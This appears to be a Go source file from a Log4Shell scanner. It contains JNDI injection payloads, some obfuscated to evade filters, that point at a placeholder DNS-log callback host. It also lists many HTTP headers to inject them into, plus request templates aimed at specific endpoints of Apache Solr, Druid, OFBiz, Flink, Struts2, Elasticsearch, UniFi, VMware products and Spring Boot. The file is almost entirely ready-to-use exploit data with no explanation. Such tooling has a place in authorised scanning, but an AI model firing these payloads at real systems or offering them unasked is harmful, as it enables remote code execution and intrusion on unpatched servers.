package log4j

var JndiPayloads = []string{
	"${jndi:ldap://dnslog-url}",
	"${jndi:ldap:${::-/}${::-/}dnslog-url}",
	"${${X::-j}ndi:rmi:${::-/}${X::-/}dnslog-url}",
	"${XXX:${${X::-jn}${X::-di}:${X::-l}d${X::-a}p:${X::-/}${X::-/}dnslog-url}}",
}

var HeaderList = [...]string{
	"Accept-Charset",
	"Accept-Datetime",
	"Accept-Encoding",
	"Accept-Language",
	"Ali-CDN-Real-IP",
	"Authorization",
	"Cache-Control",
	"Cdn-Real-Ip",
	"Cdn-Src-Ip",
	"CF-Connecting-IP",
	"Client-IP",
	"Contact",
	"Cookie",
	"DNT",
	"Fastly-Client-Ip",
	"Forwarded-For-Ip",
	"Forwarded-For",
	"Forwarded",
	"Forwarded-Proto",
	"From",
	"If-Modified-Since",
	"Max-Forwards",
	"Originating-Ip",
	"Origin",
	"Pragma",
	"Proxy-Client-IP",
	"Proxy",
	"Referer",
	"TE",
	"True-Client-Ip",
	"True-Client-IP",
	"Upgrade",
	"User-Agent",
	"Via",
	"Warning",
	"WL-Proxy-Client-IP",
	"X-Api-Version",
	"X-Att-Deviceid",
	"X-ATT-DeviceId",
	"X-Client-IP",
	"X-Client-Ip",
	"X-Client-IP",
	"X-Cluster-Client-IP",
	"X-Correlation-ID",
	"X-Csrf-Token",
	"X-CSRFToken",
	"X-Do-Not-Track",
	"X-Foo-Bar",
	"X-Foo",
	"X-Forwarded-By",
	"X-Forwarded-For-Original",
	"X-Forwarded-For",
	"X-Forwarded-Host",
	"X-Forwarded",
	"X-Forwarded-Port",
	"X-Forwarded-Protocol",
	"X-Forwarded-Proto",
	"X-Forwarded-Scheme",
	"X-Forwarded-Server",
	"X-Forwarded-Ssl",
	"X-Forwarder-For",
	"X-Forward-For",
	"X-Forward-Proto",
	"X-Frame-Options",
	"X-From",
	"X-Geoip-Country",
	"X-Host",
	"X-Http-Destinationurl",
	"X-Http-Host-Override",
	"X-Http-Method-Override",
	"X-HTTP-Method-Override",
	"X-Http-Method",
	"X-Http-Path-Override",
	"X-Https",
	"X-Htx-Agent",
	"X-Hub-Signature",
	"X-If-Unmodified-Since",
	"X-Imbo-Test-Config",
	"X-Insight",
	"X-Ip",
	"X-Ip-Trail",
	"X-Leakix",
	"X-Original-URL",
	"X-Originating-IP",
	"X-ProxyUser-Ip",
	"X-Real-Ip",
	"X-Remote-Addr",
	"X-Remote-IP",
	"X-Requested-With",
	"X-Request-ID",
	"X-True-IP",
	"X-UIDH",
	"X-Wap-Profile",
	"X-WAP-Profile",
	"X-XSRF-TOKEN",
}

var Log4jPocs = []map[string]interface{}{
	{
		"name":   "Apche OFBiz",
		"path":   "/webtools/control/main",
		"method": "GET",
		"header": []string{"Cookie: OFBiz.Visitor=*payload*"},
	},
	{
		"name":   "Apche OFBiz",
		"path":   "/webtools/control/setLocaleFromBrowser",
		"method": "POST",
		"header": []string{"Content-Type: text/html;charset=UTF-8*payload*"},
	},
	{
		"name":   "Apache Solr",
		"path":   "/solr/admin/cores?action=CREATE&name=*payload*&wt=json",
		"method": "GET",
	},
	{
		"name":   "Apache Solr",
		"path":   "/solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=*payload*&name=&schema=&wt=",
		"method": "GET",
	},
	{
		"name":   "Apache Solr",
		"path":   "/solr/admin/info/system?_=*payload*&wt=json",
		"method": "GET",
	},
	{
		"name":   "Apache Solr",
		"path":   "/solr/admin/collections?action=*payload*&wt=json",
		"method": "GET",
	},
	{
		"name":   "Apache Druid",
		"path":   "/druid/coordinator/*payload*",
		"method": "GET",
	},
	{
		"name":   "Apache Druid",
		"path":   "/druid/indexer/*payload*",
		"method": "GET",
	},
	{
		"name":   "Apache Druid",
		"path":   "/druid/v2/*payload*",
		"method": "GET",
	},
	{
		"name":    "Apache JSPWiki",
		"path":    "/wiki/*payload*",
		"payload": "${jndi:dns:${::-/}/*ip*:*port*<#>}",
		"method":  "GET",
	},
	{
		"name":   "Apache JSPWiki",
		"path":   "/Edit.jsp?page=Main",
		"method": "GET",
		"header": []string{"X-Forwarded-For:*payload*"},
	},
	{
		"name":    "Apache Filnk",
		"path":    "/jars/*payload*.jar/run",
		"payload": "${jndi:dns:%252f%252f*ip*:*port*<#**>}",
		"method":  "POST",
	},
	{
		"name":   "Apache SkyWalking",
		"path":   "/graphql",
		"method": "POST",
		"body":   []string{"data: {\"query\":\"*payload*\",\"variables\":{\"duration\":{\"start\":\"2021-12-22 1259\",\"end\":\"2021-12-22 1314\",\"step\":\"MINUTE\"}}}"},
	},
	{
		"name":   "Struts2",
		"path":   "/Struts2WebAppDemo/index.action?__checkbox_*payload*=a&__checkbox_*payload*=b",
		"method": "GET",
	},
	{
		"name":   "Elasticsearch",
		"path":   "/_search?q=*payload*",
		"method": "GET",
	},
	{
		"name":   "UniFi Network",
		"path":   "/api/login",
		"method": "POST",
		"body":   []string{"{\"*payload*\": \"\"}"},
	},
	{
		"name":   "Vmware HCX",
		"path":   "/hybridity/api/sessions",
		"method": "POST",
		"header": []string{"Content-Type: application/json; charset=UTF-8"},
		"body":   []string{"{\"authType\": \"password\",\"username\": \"*payload*\",\"password\": \"vm4j\"}"},
	},
	{
		"name":   "Vmware Horizon",
		"path":   "/portal/info.jsp",
		"method": "GET",
		"header": []string{"Accept-Language: *payload*"},
	},
	{
		"name":   "Vmware NSX",
		"path":   "/j_spring_security_check",
		"method": "POST",
		"header": []string{"Content-Type: application/json; charset=UTF-8"},
		"body":   []string{"j_username=*payload*&j_password=vm4j&submit-btn=vm4j"},
	},
	{
		"name":   "VMware vRealize Operations Manager",
		"path":   "/ui/login.action",
		"method": "POST",
		"header": []string{"Content-Type: application/x-www-form-urlencoded; charset=UTF-8"},
		"body":   []string{"mainAction=login&userName=*payload*&password=aaaaa&authSourceId=localItem&authSourceType=LOCAL"},
	},
	{
		"name":   "VMware vCenter",
		"path":   "/",
		"method": "POST",
		"header": []string{"Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Forwarded-For: *payload*"},
		"body":   []string{"CastleAuthorization=Basic%20dm00ajp2bTRq"},
	},
	{
		"name":   "springboot",
		"path":   "/",
		"header": []string{"Accept: text/html*payload*"},
		"method": "POST",
	},
	{
		"name":   "springboot",
		"path":   "/",
		"header": []string{"Accept: text/html;charset=*payload*"},
		"method": "POST",
	},
}
